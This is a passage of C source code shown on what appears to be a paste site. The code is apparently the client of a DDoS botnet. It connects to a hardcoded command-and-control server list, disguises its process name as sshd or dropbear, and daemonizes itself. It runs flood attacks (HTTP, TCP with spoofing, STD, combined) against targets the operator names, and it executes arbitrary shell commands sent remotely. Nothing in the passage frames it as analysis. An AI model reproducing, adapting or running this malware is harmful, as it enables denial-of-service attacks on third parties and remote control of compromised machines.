  2495. unsigned char *hi = (unsigned char *)strtok((char *)argv[1], ",");
  2496. while (hi != NULL) {
  2497. if (!listFork()) {
  2498. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2499. _exit(0);
  2500. }
  2501. hi = (unsigned char *)strtok(NULL, ",");
  2502. }
  2503. } else {
  2504. if (listFork()) {
  2505. return;
  2506. }
  2507. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2508. _exit(0);
  2509. }
  2510. }
  2511. if(!strcmp(argv[0], "CNC"))
  2512. {
  2513. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2514. {
  2515. return;
  2516. }
  2517. unsigned char *ip = argv[1];
  2518. int port = atoi(argv[2]);
  2519. int time = atoi(argv[3]);
  2520. if(strstr(ip, ",") != NULL)
  2521. {
  2522. unsigned char *hi = strtok(ip, ",");
  2523. while(hi != NULL)
  2524. {
  2525. if(!listFork())
  2526. {
  2527. sendCNC(hi, port, time);
  2528. close(D1ckSucka);
  2529. _exit(0);
  2530. }
  2531. hi = strtok(NULL, ",");
  2532. }
  2533. } else {
  2534. if (listFork()) { return; }
  2535. sendCNC(ip, port, time);
  2536. _exit(0);
  2537. }
  2538. }
  2539. if(!strcmp(argv[0], "COMBO"))
  2540. {
  2541. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2542. {
  2543. return;
  2544. }
  2545. unsigned char *ip = argv[1];
  2546. int port = atoi(argv[2]);
  2547. int time = atoi(argv[3]);
  2548. if(strstr(ip, ",") != NULL)
  2549. {
  2550. unsigned char *hi = strtok(ip, ",");
  2551. while(hi != NULL)
  2552. {
  2553. if(!listFork())
  2554. {
  2555. sendJUNK(hi, port, time);
  2556. sendSTD(hi, port, time);
  2557. sendHOLD(hi, port, time);
  2558. close(D1ckSucka);
  2559. _exit(0);
  2560. }
  2561. hi = strtok(NULL, ",");
  2562. }
  2563. } else {
  2564. if (listFork()) { return; }
  2565. sendJUNK(ip, port, time);
  2566. sendSTD(ip, port, time);
  2567. sendHOLD(ip, port, time);
  2568. _exit(0);
  2569. }
  2570. }
  2571. if(!strcmp(argv[0], "STD"))
  2572. {
  2573. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2574. {
  2575. return;
  2576. }
  2577. unsigned char *ip = argv[1];
  2578. int port = atoi(argv[2]);
  2579. int time = atoi(argv[3]);
  2580. if(strstr(ip, ",") != NULL)
  2581. {
  2582. unsigned char *hi = strtok(ip, ",");
  2583. while(hi != NULL)
  2584. {
  2585. if(!listFork())
  2586. {
  2587. sendSTD(hi, port, time);
  2588. _exit(0);
  2589. }
  2590. hi = strtok(NULL, ",");
  2591. }
  2592. } else {
  2593. if (listFork()) { return; }
  2594. sendSTD(ip, port, time);
  2595. _exit(0);
  2596. }
  2597. }
  2598. if(!strcmp(argv[0], "TCP"))
  2599. {
  2600. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  2601. {
  2602. return;
  2603. }
  2604. unsigned char *ip = argv[1];
  2605. int port = atoi(argv[2]);
  2606. int time = atoi(argv[3]);
  2607. int spoofed = atoi(argv[4]);
  2608. unsigned char *flags = argv[5];
  2609. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  2610. int psize = argc > 6 ? atoi(argv[6]) : 0;
  2611. if(strstr(ip, ",") != NULL)
  2612. {
  2613. unsigned char *hi = strtok(ip, ",");
  2614. while(hi != NULL)
  2615. {
  2616. if(!listFork())
  2617. {
  2618. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  2619. _exit(0);
  2620. }
  2621. hi = strtok(NULL, ",");
  2622. }
  2623. } else {
  2624. if (listFork()) { return; }
  2625. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  2626. _exit(0);
  2627. }
  2628. }
  2629. if(!strcmp(argv[0], "STOP"))
  2630. {
  2631. int killed = 0;
  2632. unsigned long i;
  2633. for (i = 0; i < numpids; i++) {
  2634. if (pids[i] != 0 && pids[i] != getpid()) {
  2635. kill(pids[i], 9);
  2636. killed++;
  2637. }
  2638. }
  2639. }
  2640. if(!strcmp(argv[0], "HOODASSSHIT"))
  2641. {
  2642. exit(0);
  2643. }
  2644. }
  2645. int initConnection()
  2646. {
  2647. unsigned char server[4096];
  2648. memset(server, 0, 4096);
  2649. if(D1ckSucka) { close(D1ckSucka); D1ckSucka = 0; }
  2650. if(D1ckSuckaz + 1 == SERVER_LIST_SIZE) D1ckSuckaz = 0;
  2651. else D1ckSuckaz++;
  2652. strcpy(server, hekkertelnet[D1ckSuckaz]);
  2653. int port = Server_Botport;
  2654. if(strchr(server, ':') != NULL)
  2655. {
  2656. port = atoi(strchr(server, ':') + 1);
  2657. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  2658. }
  2659. D1ckSucka = socket(AF_INET, SOCK_STREAM, 0);
  2660. if(!connectTimeout(D1ckSucka, server, port, 30)) return 1;
  2661. return 0;
  2662. }
  2663. int getOurIP()
  2664. {
  2665. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  2666. if(sock == -1) return 0;
  2667. struct sockaddr_in serv;
  2668. memset(&serv, 0, sizeof(serv));
  2669. serv.sin_family = AF_INET;
  2670. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  2671. serv.sin_port = htons(53);
  2672. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  2673. if(err == -1) return 0;
  2674. struct sockaddr_in name;
  2675. socklen_t namelen = sizeof(name);
  2676. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  2677. if(err == -1) return 0;
  2678. ourIP.s_addr = name.sin_addr.s_addr;
  2679. int cmdline = open("/proc/net/route", O_RDONLY);
  2680. char linebuf[4096];
  2681. while(fdgets(linebuf, 4096, cmdline) != NULL)
  2682. {
  2683. if(strstr(linebuf, "\t00000000\t") != NULL)
  2684. {
  2685. unsigned char *pos = linebuf;
  2686. while(*pos != '\t') pos++;
  2687. *pos = 0;
  2688. break;
  2689. }
  2690. memset(linebuf, 0, 4096);
  2691. }
  2692. close(cmdline);
  2693. if(*linebuf)
  2694. {
  2695. int i;
  2696. struct ifreq ifr;
  2697. strcpy(ifr.ifr_name, linebuf);
  2698. ioctl(sock, SIOCGIFHWADDR, &ifr);
  2699. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  2700. }
  2701. close(sock);
  2702. }
  2703. char *getBuild()
  2704. {
  2705. if(access("/usr/bin/python", F_OK) != -1){
  2706. return "SERVER";
  2707. } else {
  2708. return "ROUTER";
  2709. }
  2710. }
  2711. int main(int argc, unsigned char *argv[])
  2712. {
  2713. char *mynameis = "";
  2714. if(access("/usr/bin/python", F_OK) != -1){
  2715. mynameis = "sshd";
  2716. } else {
  2717. mynameis = "/usr/sbin/dropbear";
  2718. }
  2719. if(geteuid() == 0){
  2720. userID = 0;
  2721. }
  2722. char *Buildz = getBuild();
  2723. if(Buildz == "SERVER")
  2724. {
  2725. //If python is installed
  2726. } else {
  2727. //If python is not installed
  2728. }
  2729. if(SERVER_LIST_SIZE <= 0) return 0;
  2730. printf("BUILD %s:%s\n", getBuild(), inet_ntoa(ourIP));
  2731. strncpy(argv[0],"",strlen(argv[0]));
  2732. sprintf(argv[0], mynameis);
  2733. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  2734. srand(time(NULL) ^ getpid());
  2735. init_rand(time(NULL) ^ getpid());
  2736. pid_t pid1;
  2737. pid_t pid2;
  2738. int status;
  2739. getOurIP();
  2740. if (pid1 = fork()) {
  2741. waitpid(pid1, &status, 0);
  2742. exit(0);
  2743. } else if (!pid1) {
  2744. if (pid2 = fork()) {
  2745. exit(0);
  2746. } else if (!pid2) {
  2747. } else {
  2748. //N
  2749. }
  2750. } else {
  2751. //N
  2752. }
  2753. setsid();
  2754. chdir("/");
  2755. signal(SIGPIPE, SIG_IGN);
  2756. while(1)
  2757. {
  2758. if(initConnection()) { sleep(5); continue; }
  2759. HackerPrint(D1ckSucka, "\x1b[1;36m Daddy Bot Connected \x1b[1;31m| \x1b[1;37mIP: \x1b[1;35m%s \x1b[1;31m| \x1b[1;37mType: \x1b[1;35m%s \x1b[1;31m| \x1b[1;37mVersion: \x1b[1;35m%s", inet_ntoa(ourIP), getBuild(), VERSION);
  2760. char commBuf[4096];
  2761. int got = 0;
  2762. int i = 0;
  2763. while((got = recvLine(D1ckSucka, commBuf, 4096)) != -1)
  2764. {
  2765. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  2766. unsigned int *newpids, on;
  2767. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  2768. pids[on - 1] = 0;
  2769. numpids--;
  2770. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  2771. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  2772. free(pids);
  2773. pids = newpids;
  2774. }
  2775. commBuf[got] = 0x00;
  2776. trim(commBuf);
  2777. if(strstr(commBuf, "PING") == commBuf)
  2778. {
  2779. HackerPrint(D1ckSucka, "PONG");
  2780. continue;
  2781. }
  2782. if(strstr(commBuf, "DUP") == commBuf) exit(0);
  2783. unsigned char *message = commBuf;
  2784. if(*message == '!')
  2785. {
  2786. unsigned char *nickMask = message + 1;
  2787. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2788. if(*nickMask == 0x00) continue;
  2789. *(nickMask) = 0x00;
  2790. nickMask = message + 1;
  2791. message = message + strlen(nickMask) + 2;
  2792. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2793. unsigned char *command = message;
  2794. while(*message != ' ' && *message != 0x00) message++;
  2795. *message = 0x00;
  2796. message++;
  2797. unsigned char *tmpcommand = command;
  2798. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2799. if(strcmp(command, "") == 0)
  2800. {
  2801. unsigned char buf[1024];
  2802. int command;
  2803. if (listFork()) continue;
  2804. memset(buf, 0, 1024);
  2805. szprintf(buf, "%s 2>&1", message);
  2806. command = fdpopen(buf, "r");
  2807. while(fdgets(buf, 1024, command) != NULL)
  2808. {
  2809. trim(buf);
  2810. memset(buf, 0, 1024);
  2811. sleep(1);
  2812. }
  2813. fdpclose(command);
  2814. exit(0);
  2815. }
  2816. unsigned char *params[10];
  2817. int paramsCount = 1;
  2818. unsigned char *pch = strtok(message, " ");
  2819. params[0] = command;
  2820. while(pch)
  2821. {
  2822. if(*pch != '\n')
  2823. {
  2824. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2825. memset(params[paramsCount], 0, strlen(pch) + 1);
  2826. strcpy(params[paramsCount], pch);
  2827. paramsCount++;
  2828. }
  2829. pch = strtok(NULL, " ");
  2830. }
  2831. processCmd(paramsCount, params);
  2832. if(paramsCount > 1)
  2833. {
  2834. int q = 1;
  2835. for(q = 1; q < paramsCount; q++)
  2836. {
  2837. free(params[q]);
  2838. }
  2839. }
  2840. }
  2841. }
  2842. }
  2843. return 0;
  2844. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement